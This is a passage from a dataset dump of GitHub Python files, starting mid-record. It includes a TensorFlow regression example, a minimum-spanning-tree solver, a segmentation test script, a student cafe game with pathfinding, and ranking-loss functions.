int)\n","repo_name":"synsense/rockpool","sub_path":"rockpool/nn/layers/event_pass.py","file_name":"event_pass.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"3"}
+{"seq_id":"3615288013","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug  2 21:41:49 2021\n\n@author: lankuohsing\n\"\"\"\n\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.python.framework import graph_util\nsavedir = \"models/\"\nfigure_dir=\"figures/\"\nplotdata = { \"batchsize\":[], \"loss\":[] }\ndef moving_average(a, w=10):\n    if len(a) < w:\n        return a[:]\n    return [val if idx < w else sum(a[(idx-w):idx])/w for idx, val in enumerate(a)]\n#生成模拟数据\ntrain_X = np.linspace(-1, 1, 100)\ntrain_Y = 2 * train_X + np.random.randn(*train_X.shape) * 0.3 # y=2x，但是加入了噪声\n#图形显示\nplt.plot(train_X, train_Y, 'ro', label='Original data')\nplt.legend()\nplt.savefig(figure_dir+\"/ori_data.png\")\ntf.reset_default_graph()\n# 创建模型\n# 占位符\nX = tf.placeholder(\"float\",name='x')\nY = tf.placeholder(\"float\",name='y')\n# 模型参数\nW = tf.Variable(tf.random_normal([1]), name=\"weight\")\nb = tf.Variable(tf.zeros([1]), name=\"bias\")\n# 前向结构\nXW=tf.multiply(X, W,name='xw')\nZ = tf.add(XW,b,name='Z')\noutput=tf.identity(Z,name=\"output\")\n#反向优化\ncost =tf.reduce_mean( tf.square(Y - Z))\nlearning_rate = 0.01\noptimizer = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost) #Gradient descent\n# 初始化变量\ninit = tf.global_variables_initializer()\n#参数设置\ntraining_epochs = 20\ndisplay_step = 2\nsaver = tf.train.Saver() # 生成saver\n\n# 启动session\nwith tf.Session() as sess:\n    sess.run(init)\n    # Fit all training data\n    for epoch in range(training_epochs):\n        for (x, y) in zip(train_X, train_Y):\n            sess.run(optimizer, feed_dict={X: x, Y: y})\n        #显示训练中的详细信息\n        if epoch % display_step == 0:\n            loss = sess.run(cost, feed_dict={X: train_X, Y:train_Y})\n            print (\"Epoch:\", epoch+1, \"cost=\", loss,\"W=\", sess.run(W), \"b=\", sess.run(b))\n            if not (loss == \"NA\" ):\n                plotdata[\"batchsize\"].append(epoch)\n                plotdata[\"loss\"].append(loss)\n\n    print (\" Finished!\")\n    saver.save(sess, savedir+\"linermodel.cpkt\")\n    constant_graph=graph_util.convert_variables_to_constants(sess,sess.graph_def,['x','output'])\n    # 写入序列化的PB文件\n    with tf.gfile.FastGFile(savedir+'model.pb',mode='wb') as f:\n        f.write(constant_graph.SerializeToString())\n    print (\"cost=\", sess.run(cost, feed_dict={X: train_X, Y: train_Y}), \"W=\", sess.run(W), \"b=\", sess.run(b))\n    #print (\"cost:\",cost.eval({X: train_X, Y: train_Y}))\n    #图形显示\n    plt.plot(train_X, train_Y, 'ro', label='Original data')\n    plt.plot(train_X, sess.run(W) * train_X + sess.run(b), label='Fitted line')\n    plt.legend()\n    plt.savefig(figure_dir+\"prediction.png\")\n\n    plotdata[\"avgloss\"] = moving_average(plotdata[\"loss\"])\n    plt.figure(1)\n    plt.subplot(211)\n    plt.plot(plotdata[\"batchsize\"], plotdata[\"avgloss\"], 'b--')\n    plt.xlabel('Minibatch number')\n    plt.ylabel('Loss')\n    plt.title('Minibatch run vs. Training loss')\n\n    plt.savefig(figure_dir+\"loss.png\")\n\n#重启一个session 如下代码用于预测新数据\n\nwith tf.Session() as sess2:\n    sess2.run(tf.global_variables_initializer())\n    saver.restore(sess2, savedir+\"linermodel.cpkt\")\n    print (\"x=0.2，z=\", sess2.run(Z, feed_dict={X: 0.2}))","repo_name":"lankuohsing/TensorFlow-Examples","sub_path":"version_1/save_restore_model/linear_regression_save.py","file_name":"linear_regression_save.py","file_ext":"py","file_size_in_byte":3253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"13072905686","text":"\nclass Employee:\n    def __init__(self, name):\n        self.name = name\n        print(f'Init {self.name}')\n        self.employees_names = []\n\n    def __del__(self):\n        # is called on object when\n        # garbage collector destroys it\n        print(f'Deleting {self.name}')\n        # Don't provide unless very strong reasons\n\n\nif __name__ == '__main__':\n    m = Employee('Mostafa')\n    b = Employee('Belal')\n    z = Employee('Ziad')\n","repo_name":"vZyx/Python-notes","sub_path":"27_classes/code/13_del_method/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11767602019","text":"\"\"\"\naps排程文档校验，校验时如发现不符合要求的文档会抛出异常\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\ncolumn_crca = [\"ARBPL\", \"KAPAZ\"]  # 工作产能中心表头\ncolumn_mara = [\"MATNR\", \"MATKL\"]  # 物料主数据表头\ncolumn_plaf = [\"PLNUM\", \"MATNR\", \"PLWRK\", \"GSMNG\", \"PEDTR\"]  # 计划订单清单表头\ncolumn_plpo = [\"MATNR\", \"ARBPL\", \"TIME\"]  # 物料工艺路线表头\ndocpath = \"../documents/\"\ndfcrca = pd.read_csv(docpath + \"CRCA.csv\")\ndfmara = pd.read_csv(docpath + \"MARA.csv\")\ndfplaf = pd.read_csv(docpath + \"PLAF.csv\")\ndfplpo = pd.read_csv(docpath + \"PLPO.csv\")\n\n\n# 校验工作产能中心文件格式\ndef verify_crca(df):\n    right = False\n    actualcol = df.columns.values\n    if np.array_equal(actualcol, column_crca):\n        right = True\n    return right\n\n\n# 校验物料主数据格式\ndef verify_mara(df):\n    right = False\n    actualcol = df.columns.values\n    if np.array_equal(actualcol, column_mara):\n        right = True\n    return right\n\n# 校验计划订单清单格式\ndef verify_plaf(df):\n    right = False\n    actualcol = df.columns.values\n    if np.array_equal(actualcol, column_plaf):\n        right = True\n    return right\n\n# 校验物料工艺路线格式\ndef verify_plpo(df):\n    right = False\n    actualcol = df.columns.values\n    if np.array_equal(actualcol, column_plpo):\n        right = True\n    return right\n\nif (__name__ == \"__main__\"):\n    print(verify_crca(dfcrca))\n    print(verify_mara(dfmara))\n    print(verify_plaf(dfplaf))\n    print(verify_plpo(dfplpo))\n","repo_name":"honwah/apshomework","sub_path":"modules/verifier.py","file_name":"verifier.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73316549522","text":"from heapq import heappush, heappop\n\ndef initialize_graph_from_string(graph_description):\n    graph = []\n    for edge in graph_description.split(\"|\"):\n        t = edge.split(\",\")\n        t = (t[0], t[1], int(t[2]))\n        graph.append(t)\n    return graph\n\ndef add_first_node_to_tree(tree, node):\n    tree['nodes'].append(node)\n\ndef add_node_to_tree(node, tree, existing_node, weight):\n    if node not in tree['nodes']:\n        tree['nodes'].append(node)\n        tree['edges'].append( (node, existing_node, weight) )\n\ndef add_neighbors_to_queue(graph, queue, tree, node):\n    for node1, node2, weight in graph:\n        if node1 in tree['nodes'] and node2 in tree['nodes']:\n            continue\n        if node in [node1, node2]:\n            heappush(queue, (weight, (node1, node2)))\n\ndef both_nodes_in_tree(tree, node1, node2):\n    return node1 in tree['nodes'] and node2 in tree['nodes']\n\ndef all_nodes_in_tree(tree, graph):\n    for node1, node2, weight in graph:\n        if (node1 or node2) not in tree['nodes']:\n            return False\n    return True\n\ndef mst(graph_description):\n    tree = {'nodes': [], 'edges': []}\n    queue = []\n    graph = initialize_graph_from_string(graph_description)\n\n    if len(graph) == 0:\n        return []\n\n    first_node = graph[0][0]\n    add_first_node_to_tree(tree, first_node)\n    add_neighbors_to_queue(graph, queue, tree, first_node)\n\n    while len(queue) > 0:\n        weight, (node1, node2) = heappop(queue)\n        if both_nodes_in_tree(tree, node1, node2):\n            continue\n        node, existing_node = (node1,node2) if node2 in tree['nodes'] else (node2,node1)\n        add_node_to_tree(node, tree, existing_node, weight)\n        add_neighbors_to_queue(graph, queue, tree, node)\n\n    if all_nodes_in_tree(tree, graph):\n        return tree\n    else:\n        print(\"This graph is not connected\")\n        raise UnconnectedGraphException\n    \nclass Error(Exception):\n    \"Base class for other exceptions\"\n    pass\n\nclass UnconnectedGraphException(Error):\n    \"When the graph is not connected\"\n    pass\n\n\n\ng = \"A,B,3|B,C,10|C,A,4|D,E,2|E,A,6\"\nprint(mst(g))\ng = \"A,B,3|B,C,10|C,A,4|D,E,2|E,A,6|J,K,7\"\nprint(mst(g))\n","repo_name":"evanhessler/cmsi282","sub_path":"homework4/mst.py","file_name":"mst.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35510886944","text":"import math\ndef hoofdsteden(locatie):\n   bestand = open(locatie)\n   dict = {}\n\n   for b in bestand:\n        staat = b.split(',')\n        dict[staat[1].strip()]=(staat[0])\n   return dict\n\n\n\n\nhoofdstad = hoofdsteden('hoofdsteden.txt')\nprint (hoofdstad['TX'])\nprint (hoofdstad['NE'])\n\n\n\ndef coordinaten(locatie):\n    bestand = open(locatie)\n    dict = {}\n\n    for b in bestand:\n        staat = b.split(',')\n        dict[staat[0] + \",\"+ staat[1]]=(float(staat[2]),float(staat[3]))\n    return dict\n\n\ncoordinaat = coordinaten('steden.txt')\nprint (coordinaat['Dalhart,TX'])\n\ndef grootcirkelafstand(stad1,stad2):\n    b1= math.radians(stad1[0])\n    l1 = math.radians(stad1[1])\n    b2 = math.radians(stad2[0])\n    l2 = math.radians(stad2[1])\n    r = 6371\n    eerste = math.sin(b1)* math.sin(b2)\n    tweede = math.cos(b1) * math.cos(b2) * math.cos(l1 - l2)\n    return r * math.acos(eerste + tweede)\n\nprint (grootcirkelafstand((36.1173, -102.6024), (30.352, -97.7151))) # Dalhart,TX <-> Austin,TX\n\ndef dichteBuren(staat,hoofdstad,coordinaat):\n    coordinaat1 = coordinaat[staat]\n    key = staat.split(',')\n    coordinaat2 = coordinaat[hoofdstad[key[1]]+','+key[1]]\n    afstand = grootcirkelafstand(coordinaat1,coordinaat2)\n    list = []\n\n    for k in hoofdstad:\n        if not k == key[1]:\n            coordinaat2 = coordinaat[hoofdstad[k] + ',' + k]\n            afstand2 = grootcirkelafstand(coordinaat1, coordinaat2)\n            if afstand >= afstand2:\n               list.append(hoofdstad[k] + ',' + k)\n    return list\n\nprint(dichteBuren('Dalhart,TX', hoofdstad, coordinaat))","repo_name":"myanhon/ISCRIPT","sub_path":"src/dichte_buren/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36717854969","text":"import argparse\nimport logging\nimport os\n\nimport torch\nfrom tqdm import tqdm\n\nfrom configs import CFG\nfrom datas import build_dataset, build_dataloader\nfrom metric import Metric\nfrom models import build_model\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('config',\n                        type=str,\n                        help='config file')\n    parser.add_argument('checkpoint',\n                        type=str,\n                        help='checkpoint file')\n    parser.add_argument('--device',\n                        type=str,\n                        default='cuda:0',\n                        help='device for test')\n    args = parser.parse_args()\n    return args\n\n\ndef main():\n    # parse command line arguments\n    args = parse_args()\n\n    # merge config with config file\n    CFG.merge_from_file(args.config)\n\n    # log to stdout only\n    logging.basicConfig(\n        level=logging.INFO,\n        handlers=[\n            logging.StreamHandler(),\n        ])\n\n    # build dataset\n    test_dataset = build_dataset('test')\n    NUM_CHANNELS = test_dataset.num_channels\n    NUM_CLASSES = test_dataset.num_classes\n    # build data loader\n    test_dataloader = build_dataloader(test_dataset, 'test')\n    # build model\n    model = build_model(NUM_CHANNELS, NUM_CLASSES)\n    model.to(args.device)\n    # build metric\n    metric = Metric(NUM_CLASSES)\n\n    # load checkpoint\n    if not os.path.isfile(args.checkpoint):\n        raise RuntimeError('checkpoint {} not found'.format(args.checkpoint))\n    checkpoint = torch.load(args.checkpoint)\n    model.load_state_dict(checkpoint['model']['state_dict'])\n    best_miou = checkpoint['metric']['mIoU']\n    logging.info('load checkpoint {} with mIoU={:.4f}'.format(args.checkpoint, best_miou))\n\n    # test\n    model.eval()  # set model to evaluation mode\n    metric.reset()  # reset metric\n    test_bar = tqdm(test_dataloader, desc='testing', ascii=True)\n    with torch.no_grad():  # disable gradient back-propagation\n        for x, label in test_bar:\n            x, label = x.to(args.device), label.to(args.device)\n            y = model(x)\n\n            pred = y.argmax(axis=1)\n            metric.add(pred.data.cpu().numpy(), label.data.cpu().numpy())\n\n            test_bar.set_postfix({\n                'PA': f'{metric.PA():.4f}',\n                'mPA': f'{metric.mPA():.4f}',\n                'mIoU': f'{metric.mIoU():.4f}',\n                'P': ','.join([f'{p:.4f}' for p in metric.Ps()]),\n                'R': ','.join([f'{r:.4f}' for r in metric.Rs()]),\n                'IoU': ','.join([f'{iou:.4f}' for iou in metric.IoUs()]),\n            })\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"xiaojianzhong/rsi-semantic-segmentation","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"334122778","text":"# SCREEN: cafeMode\n\n# SOURCES:\n# barista image: https://www.vectorstock.com/royalty-free-vector/bearded-barista-man-icon-isometric-style-vector-30590888\n# waiter image: https://www.iconfinder.com/icons/6655714/barista_cartoon_girl_isometric_love_party_woman_icon\n# coffee machine image: https://www.vecteezy.com/vector-art/1983572-isometric-coffee-machine-illustrated-on-white-background\n# counter image: https://www.google.com/url?sa=i&url=https%3A%2F%2Fwww.freepik.com%2Fpremium-vector%2Fcoffee-house-isometric-illustration-coffeeshop-counter-tables-with-chairs-isolated-clipart_10912455.htm&psig=AOvVaw27CZ0GuBOpJH4o8THG1Cgs&ust=1637440249975000&source=images&cd=vfe&ved=0CAsQjRxqFwoTCPiCg7mipfQCFQAAAAAdAAAAABAP\n# table image: https://www.iconfinder.com/icons/6656008/cartoon_folding_hand_isometric_retro_round_table_icon\n# sun image: https://www.flaticon.com/packs/nature-92\n# moon image: https://www.flaticon.com/premium-icon/moon_1888300?related_id=1888300&origin=pack\n# timer image: https://www.google.com/imgres?imgurl=https%3A%2F%2Fwww.xmple.com%2Fwallpaper%2Forange-blue-gradient-linear-1920x1080-c2-0000cd-ff8c00-a-45-f-14.svg&imgrefurl=https%3A%2F%2Fwww.xmple.com%2Fwallpaper%2Forange-blue-gradient-linear--c2-0000cd-ff8c00-a-45-f-14-image%2F&tbnid=Bn41Fc6ZA9X_JM&vet=12ahUKEwjag47pv630AhWLBc0KHW1cAkoQMygOegUIARDyAQ..i&docid=CCYxh7MBUtbZdM&w=1920&h=1080&itg=1&q=orange%20blue%20gradient&ved=2ahUKEwjag47pv630AhWLBc0KHW1cAkoQMygOegUIARDyAQ\n# people images: https://www.google.com/url?sa=i&url=https%3A%2F%2Fwww.dreamstime.com%2Fcreative-pack-isometric-people-flat-icons-providing-awesome-features-human-avatars-performing-various-activities-image125598730&psig=AOvVaw2gdVQ-_yHhfKPwtFq5cX0K&ust=1637723158290000&source=images&cd=vfe&ved=0CAsQjRxqFwoTCJjx9KvArfQCFQAAAAAdAAAAABAD\n# help image: https://www.flaticon.com/premium-icon/help_2550424?term=help%20button&page=1&position=80&page=1&position=80&related_id=2550424&origin=search\n# menu image: https://www.flaticon.com/premium-icon/help_2550424?term=help%20button&page=1&position=80&page=1&position=80&related_id=2550424&origin=search\n# plant image: https://www.flaticon.com/free-icon/plant_628283#\n# floor image: https://www.google.com/url?sa=i&url=https%3A%2F%2Fwallpaperaccess.com%2Flight-wood&psig=AOvVaw09MKrvQMjKpKJVNBXLsf9f&ust=1638128491372000&source=images&cd=vfe&ved=0CAsQjRxqFwoTCOCc26qmufQCFQAAAAAdAAAAABAD\n\n# pathfinding: https://medium.com/@nicholas.w.swift/easy-a-star-pathfinding-7e6689c7f7b2\n\n# import modules\nfrom cmu_112_graphics_openCV import *\nfrom classes import *\nimport random\n\n'''''''''''''''''''''''''''''''''\nMODEL\n'''''''''''''''''''''''''''''''''\n# helper: structure of cafe\ndef cafeDimensions():\n    rows = 10\n    cols = 10\n    cellSize = 50\n    margin = 70\n    return (rows, cols, cellSize, margin)\n\n\n'''''''''''''''''''''''''''''''''\nVIEW\n'''''''''''''''''''''''''''''''''\n# SOURCE: my HW6 tetris\n\n# draw canvas\ndef cafeMode_redrawAll(app, canvas):\n    # draw cafe grid\n    canvas.create_rectangle(0, 0, app.width, app.height, fill=\"#FFE9DF\", width=1)\n    drawLayout(app, canvas)\n    canvas.create_image(app.width/2, app.height/2, image=app.floorImg)\n    # draw instructions \n    canvas.create_image(605, 35, image=app.helpImg)\n    # draw score progress bar \n    canvas.create_rectangle(app.width/2 - 100, 590, app.width/2 + 100, 620, fill=\"lightgrey\", width=0.5)\n    if not app.win and not app.timeOver:\n        canvas.create_rectangle(app.width/2 - 100, 590, app.width/2-100+(app.score/app.winScore)*200, 620, fill=\"pink\")\n        canvas.create_text(app.width/2, 605, text=\"Progress...\")\n    if app.win:\n        canvas.create_rectangle(app.width/2 - 100, 590, app.width/2 + 100, 620, fill=\"pink\", width=0.5)\n        canvas.create_text(app.width/2, 605, text=\"Complete!\")\n    # draw timer\n    canvas.create_image(605, app.height/2, image=app.timerImg)\n    if not app.timeOver:\n        canvas.create_line(590,120+(app.time/app.gameTime)*400,620,120+(app.time/app.gameTime)*400, fill=\"lightblue\", width=2)\n    canvas.create_image(605, 95, image=app.sunImg)\n    canvas.create_image(605, 545, image=app.moonImg)\n\n    # draw barista\n    canvas.create_image(app.barista.x, app.barista.y, image=app.barista.img)\n    # draw waiter\n    canvas.create_image(app.waiter.x, app.waiter.y, image=app.waiter.img)\n    # draw customer\n    if app.currCustomer != None:\n        canvas.create_image(app.currCustomer.x, app.currCustomer.y, image=app.currCustomer.img)\n    # draw coffee machine\n    canvas.create_image(app.cofMac.x, app.cofMac.y, image=app.cofMac.img)\n    if app.closeCofMac:\n        canvas.create_text(app.width/2, 35, text=\"Press enter to make drinks!\")\n    # draw tables\n    for table in app.tables:\n        canvas.create_image(table.x, table.y, image=table.img)\n    canvas.create_image(345, 145, image=app.counterImg)\n    # draw plants\n    for x in range(95, 555, 50):\n        canvas.create_image(x, 95, image=app.plantImg)\n        canvas.create_image(x, 545, image=app.plantImg)\n     # draw menu\n    canvas.create_image(app.menu.x, app.menu.y, image=app.menu.img)\n    \n    # draw order text\n    if app.isOrdering:\n        canvas.create_text(app.width/2, 35, text=app.currCustomer.order)\n    if app.isStarting:\n        canvas.create_text(app.width/2, 35, text=\"Press space to accept orders!\")\n\n    # draw path\n    if app.isServing:\n        for p in app.path:\n            canvas.create_oval(p[0]-5,p[1]-5,p[0]+5,p[1]+5, fill=\"green\")\n\n# draw grid of cafe\ndef drawLayout(app, canvas):\n    for row in range(app.rows):\n        for col in range(app.cols):\n            (x1,y1,x2,y2) = getCellBounds(app, row, col)\n            canvas.create_rectangle(x1, y1, x2, y2, fill= app.board[row][col], width=4, outline=\"white\")\n\n# helper: get coordinates of each cell in grid\ndef getCellBounds(app, row, col): \n    x1 = app.margin + (col * app.cellSize)\n    y1 = app.margin + (row * app.cellSize)\n    x2 = app.margin + ((col + 1) * app.cellSize)\n    y2 = app.margin + ((row + 1) * app.cellSize)\n\n    return [x1,y1,x2,y2]\n\n\n'''''''''''''''''''''''''''''''''\nCONTROLLER\n'''''''''''''''''''''''''''''''''\ndef cafeMode_timerFired(app):\n    # set up board\n    for row in range(10):\n        for col in range(10):\n            if row == getRow(app,app.activeChar.y) and col == getCol(app,app.activeChar.x):\n                app.board[row][col] = \"blue\"\n            else:\n                app.board[row][col] = app.emptyColor\n\n    # end of day\n    if app.time >= app.gameTime: \n        app.timeOver\n        app.mode = \"endMode\"\n\n    # modify difficulty of game:\n    if app.time > 0 and app.time % 1000 == 0:\n        checkDifficulty(app)\n\n        # difficulty level changes if player becomes better/worse \n        # changes number of drinks, score threshold, time order is shown, number of tables (obstacles)\n        if app.difficulty[-1] == \"easy\":\n            app.drinksShown = max(app.drinksShown-1, 2)\n            app.scoreThresh = min(app.scoreThresh+0.1, 0.6)\n            app.orderTime = min(app.orderTime+50, 600)\n            app.tableNo = max(app.tableNo-1, 2)\n        if app.difficulty[-1] == \"normal\":\n            app.drinksShown = 4\n            app.scoreThresh = 0.4\n            app.orderTime = 400\n            app.tableNo = 5\n        if app.difficulty[-1] == \"hard\":\n            app.drinksShown = min(app.drinksShown+1, 7)\n            app.scoreThresh = max(app.scoreThresh-0.1, 0.2)\n            app.orderTime = max(app.orderTime-50, 300)\n            app.tableNo = min(app.tableNo+1, 7)\n\n    # count down timer increases\n    app.time += 1\n\n    # show instruction to go to makeDrinkMode\n    if distance(app.activeChar.x, app.activeChar.y, app.cofMac.x, app.cofMac.y) <= 50:\n        app.closeCofMac = True\n    elif distance(app.activeChar.x, app.activeChar.y, app.cofMac.x, app.cofMac.y) > 50:\n        app.closeCofMac = False\n\n    # customer enters\n    if app.isEntering:\n        app.currCustomer.x += 10\n        if app.currCustomer.x >= 295:\n            app.isEntering = False\n            app.isOrdering = True\n    # show order \n    if app.isOrdering:\n        app.counter += app.timerDelay\n        if (app.counter == app.orderTime):\n            app.isOrdering = False\n            app.isWaiting = True\n    # barista serving drink to customer\n    if app.isServing:\n        app.barista.x, app.barista.y = 395, 145\n        startPos = (app.waiter.x, app.waiter.y)\n        targetPos = (app.currCustomer.x, app.currCustomer.y)\n        app.path = pathfinding(app, startPos, targetPos)\n        if (app.waiter.x == app.currCustomer.x) and (app.waiter.y == app.currCustomer.y):\n            app.mode = \"scoreMode\"\n\n# helper: check how good player is to modify game difficulty\ndef checkDifficulty(app):\n    if app.score/app.winScore < app.time/app.gameTime:\n        app.difficulty.append(\"easy\")\n    if app.score/app.winScore == app.time/app.gameTime:\n        app.difficulty.append(\"normal\")\n    if app.score/app.winScore > app.time/app.gameTime:\n        app.difficulty.append(\"hard\")      \n\n# using arrow keys\ndef cafeMode_keyPressed(app, event):\n    # accept customer order\n    if event.key == \"Space\":\n        app.isStarting = False\n        app.isOrdering = False\n        app.isEntering = True\n        custImg = app.custImgs[random.randint(0, len(app.custImgs)-1)]\n        drink = app.drinks[random.randint(0, app.drinksShown-1)]\n        base = app.bases[random.randint(1, len(app.bases)-1)]\n        art = app.arts[random.randint(0, len(app.arts)-1)]\n        order = f\"{drink} with {base} milk, {art}\"\n        app.currCustomer = Customer(\"1\", 0, 145, custImg, drink, base, art, order)\n        print(app.currCustomer.order)\n        \n    # toggle beetween characters\n    if event.key == \"b\":\n        app.activeChar = app.waiter if app.activeChar == app.barista else app.barista\n    # using arrow keys to move\n    if event.key == \"Left\":\n        moveChar(app, -1, 0)\n    elif event.key == \"Up\":\n        moveChar(app, 0, -1)\n    elif event.key == \"Down\":\n        moveChar(app, 0, +1)\n    elif event.key == \"Right\":\n        moveChar(app, +1, 0)\n    \n    # switch to makedrink mode\n    elif distance(app.activeChar.x, app.activeChar.y, app.cofMac.x, app.cofMac.y) <= 50:\n        if app.currCustomer != None:\n            if event.key == \"Return\" or event.key == \"Enter\":\n                app.mode = \"makeDrinkMode\"\n                app.currCustomer.x, app.currCustomer.y = getRandPos(app)\n    \n    # check menu\n    elif distance(app.activeChar.x, app.activeChar.y, app.menu.x, app.menu.y) <= 50:\n        if event.key == \"Return\" or event.key == \"Enter\":\n            app.mode = \"menuMode\"\n\n# helper: recursive function to get random available position for customer to stand at\ndef getRandPos(app):\n    randX = 95+50*random.randint(0, 4)\n    randY = 95+50*random.randint(2, 8)\n    if app.boardGrid[getRow(app, randY)][getCol(app, randX)] == 0:\n        return randX, randY\n    else:\n        return getRandPos(app)\n    \n# helper: move characters\ndef moveChar(app, drow, dcol):\n    drow *= 50\n    dcol *= 50\n    char = app.activeChar\n    char.x += drow\n    char.y += dcol\n    \n    if not moveIsLegal(app):\n        char.x -= drow\n        char.y -= dcol\n    return True\n\n# helper fn: check if move can be made (not out of bounds)\ndef moveIsLegal(app):\n    char = app.activeChar\n    if char.x >= 70 and char.x <= 570 and char.y>= 120 and char.y<=570 and (app.boardGrid[getRow(app, char.y)][getCol(app, char.x)] == 0):\n        return True\n    return False\n\n# helper: pathfinding algorithm\ndef pathfinding(app, start, end):\n\n    # initialization\n    start_node = Node(None, start)\n    end_node = Node(None, end)\n    open_list = []\n    closed_list = []\n\n    # Add the start node\n    open_list.append(start_node)\n\n    # iterate until target location is reached\n    while len(open_list) > 0:\n        # Get the current node\n        current_node = open_list[0]\n        current_index = 0\n        for index, item in enumerate(open_list):\n            if item.cost < current_node.cost:\n                current_node = item\n                current_index = index\n\n        # indicate current index is visited\n        open_list.pop(current_index)\n        closed_list.append(current_node)\n\n        # reached target\n        if current_node == end_node:\n            path = []\n            current = current_node\n            while current is not None:\n                path.append(current.position)\n                current = current.parent\n            return path[::-1] \n\n        # Generate children\n        children = []\n        # move up, down, left, right\n        for new_position in [(0, -50), (0, 50), (-50, 0), (50, 0)]: \n            # Get node position\n            node_position = (current_node.position[0] + new_position[0], current_node.position[1] + new_position[1])\n\n            # check legality of move in board\n            if (node_position[0] > 495) or (node_position[0] < 95) or (node_position[1] > 495) or (node_position[1] < 195):\n                continue\n            # if app.boardGrid[getRow(app, node_position[0])][getCol(app, node_position[1])] != 0:\n            #     print(\"0 detected\")\n            #     continue\n\n            # Create new node\n            new_node = Node(current_node, node_position)\n            children.append(new_node)\n\n        # Loop through children\n        for child in children:\n\n            # Child is on the closed list\n            for closed_child in closed_list:\n                if child == closed_child:\n                    continue\n\n            # Create the f, g, and h values\n            child.startToCurr = current_node.startToCurr + 1\n            child.currToEnd = ((child.position[0] - end_node.position[0]) ** 2) + ((child.position[1] - end_node.position[1]) ** 2)\n            child.cost = child.startToCurr + child.currToEnd\n\n            # Child is already in the open list\n            for open_node in open_list:\n                if child == open_node and child.startToCurr > open_node.startToCurr:\n                    continue\n\n            # Add the child to the open list\n            open_list.append(child)\n\ndef cafeMode_mousePressed(app, event):\n    x = event.x\n    y = event.y\n\n    if distance(x, y, 605, 35) < 30:\n        app.mode = \"cafeInstructionsMode\"\n\n\n\n\n","repo_name":"vaniahalim/15112-TP","sub_path":"cafe.py","file_name":"cafe.py","file_ext":"py","file_size_in_byte":14157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71646497683","text":"class Solution:\n    def lastStoneWeight(self, stones: List[int]) -> int:\n        stones = [-s for s in stones]\n        heapq.heapify(stones)\n\n        while len(stones) > 1:\n            first = heapq.heappop(stones)\n            second = heapq.heappop(stones)\n            print(first, second)\n            \n            if second > first:\n                d = (second - first) * -1\n                heapq.heappush(stones, d)\n\n        stones.append(0)\n        return abs(stones[0])\n    \n# Time = O(nlog*n)","repo_name":"geraldelorm/DSA-problems","sub_path":"LeetCode/1046. Last Stone Weight/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"23589726999","text":"import torch\n\ndef bpr_loss(pos, neg, b=0.0, collapse=True):\n    \"\"\"\n    Usual BPR loss that penalizes when negative score is greater than positive one.\n\n    Parameters\n    ----------\n    pos: torch.tensor\n        positive score\n\n    neg: torch.tensor\n        negative scores. Can be a batch of negatives.\n\n    b: float\n        desired boundary between positive and negative examples\n\n    collapse: bool\n        If True collapse batch with mean.\n\n    Returns\n    -------\n    torch.tensor\n    \"\"\"\n    res = torch.sigmoid(neg - pos + b)\n    if collapse:\n        res = res.mean()\n    return res\n\n\ndef warp_loss(pos, neg, b=1, collapse=True):\n    \"\"\"\n    Batch version of WARP loss.\n\n    Regular version samples one negative example until violation is met.\n    This number of samples become the estimation of rank and weight is produced as some function of this rank.\n\n    This version uses a batch of negatives and estimates rank as a number of violated examples.\n\n    If you use the number of first violation as rank this will degenerate to usual WARP with a limit on draws.\n\n    Parameters\n    ----------\n    pos: torch.tensor\n        positive score\n\n    neg: torch.tensor\n        negative scores. Can be a batch of negatives.\n\n    b: float\n        desired boundary between positive and negative examples\n\n    collapse: bool\n        If True collapse batch with mean.\n\n    Returns\n    -------\n    torch.tensor\n    \"\"\"\n    loss = bpr_loss(pos, neg, b, collapse=False)\n    m = (loss > 0.5).float()\n    m *= torch.log(m.sum() + 1) + 1\n    res = m * loss\n    if collapse:\n        res = res.mean()\n    return res","repo_name":"ialab-puc/VisualRecSys-Tutorial-IUI2021","sub_path":"trainers/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"}
